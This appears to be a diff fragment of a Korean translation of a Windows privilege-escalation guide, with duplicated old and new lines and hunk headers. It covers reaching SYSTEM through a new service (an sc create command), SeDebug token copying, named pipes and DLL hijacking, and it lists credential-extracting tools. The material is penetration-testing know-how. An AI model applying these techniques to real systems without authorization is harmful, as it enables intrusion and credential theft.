### **새 서비스**
이미 높은 무결성 프로세스에서 실행 중이라면, **SYSTEM으로의 전환**은 **새 서비스를 생성하고 실행하는 것**으로 쉽게 할 수 있습니다:
이미 높은 무결성 프로세스에서 실행 중인 경우, **SYSTEM으로의 전환**은 **새 서비스를 생성하고 실행하는 것**으로 쉽게 할 수 있습니다:
```
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
@ -1333,7 +1337,7 @@ High Integrity 프로세스에서 **AlwaysInstallElevated 레지스트리 항목
이러한 토큰 권한이 있는 경우(아마도 이미 High Integrity 프로세스에서 찾을 수 있을 것입니다), **거의 모든 프로세스**(보호되지 않은 프로세스)를 SeDebug 권한으로 **열 수** 있으며, 프로세스의 **토큰을 복사**하고 **해당 토큰으로 임의의 프로세스를 생성**할 수 있습니다.\
이 기술을 사용할 때는 일반적으로 **모든 토큰 권한을 가진 SYSTEM으로 실행 중인 프로세스를 선택**합니다(_예, 모든 토큰 권한이 없는 SYSTEM 프로세스를 찾을 수 있습니다_).\
**제안된 기술을 실행하는 코드의 예는** [**여기에서 찾을 수 있습니다**](sedebug-+-seimpersonate-copy-token.md)**.**
**제안된 기술을 실행하는 코드의** [**예제를 여기에서 찾을 수 있습니다**](sedebug-+-seimpersonate-copy-token.md)**.**
### **Named Pipes**
@ -1344,7 +1348,7 @@ High Integrity에서 SYSTEM으로 가는 방법에 대한 [**예제를 읽고
### Dll Hijacking
**SYSTEM**으로 실행 중인 **프로세스**에 의해 **로드되는 dll을 하이재킹**하는 데 성공하면 해당 권한으로 임의의 코드를 실행할 수 있습니다. 따라서 Dll Hijacking은 이러한 종류의 권한 상승에 유용하며, 게다가 **High Integrity 프로세스에서 달성하기가 훨씬 더 쉽습니다**. 왜냐하면 dll을 로드하는 데 사용되는 폴더에 **쓰기 권한**이 있기 때문입니다.\
**Dll 하이재킹에 대해** [**더 알고 싶다면 여기에서 확인하세요**](dll-hijacking/)**.**
**Dll 하이재킹에 대해** [**더 알고 싶다면 여기에서 확인하세요**](dll-hijacking/index.html)**.**
### **Administrator 또는 Network Service에서 System으로**
@ -1368,7 +1372,7 @@ https://github.com/sailay1996/RpcSsImpersonator
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 잘못된 구성 및 민감한 파일 확인 (**[**여기에서 확인하세요**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). 감지됨.**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- 일부 가능한 잘못된 구성을 확인하고 정보 수집합니다 (**[**여기에서 확인하세요**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- 일부 가능한 잘못된 구성을 확인하고 정보 수집 (**[**여기에서 확인하세요**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- 잘못된 구성 확인**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- PuTTY, WinSCP, SuperPuTTY, FileZilla 및 RDP 저장 세션 정보를 추출합니다. 로컬에서 -Thorough 사용.**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 자격 증명을 Credential Manager에서 추출합니다. 감지됨.**\
@ -1389,7 +1393,7 @@ https://github.com/sailay1996/RpcSsImpersonator
**Bat**
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 이 게시물을 기반으로 생성된 도구 (정상적으로 작동하기 위해 accesschk가 필요하지 않지만 사용할 수 있습니다).
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 이 게시물을 기반으로 생성된 도구 (정상적으로 작동하려면 accesschk가 필요하지 않지만 사용할 수 있습니다).
**Local**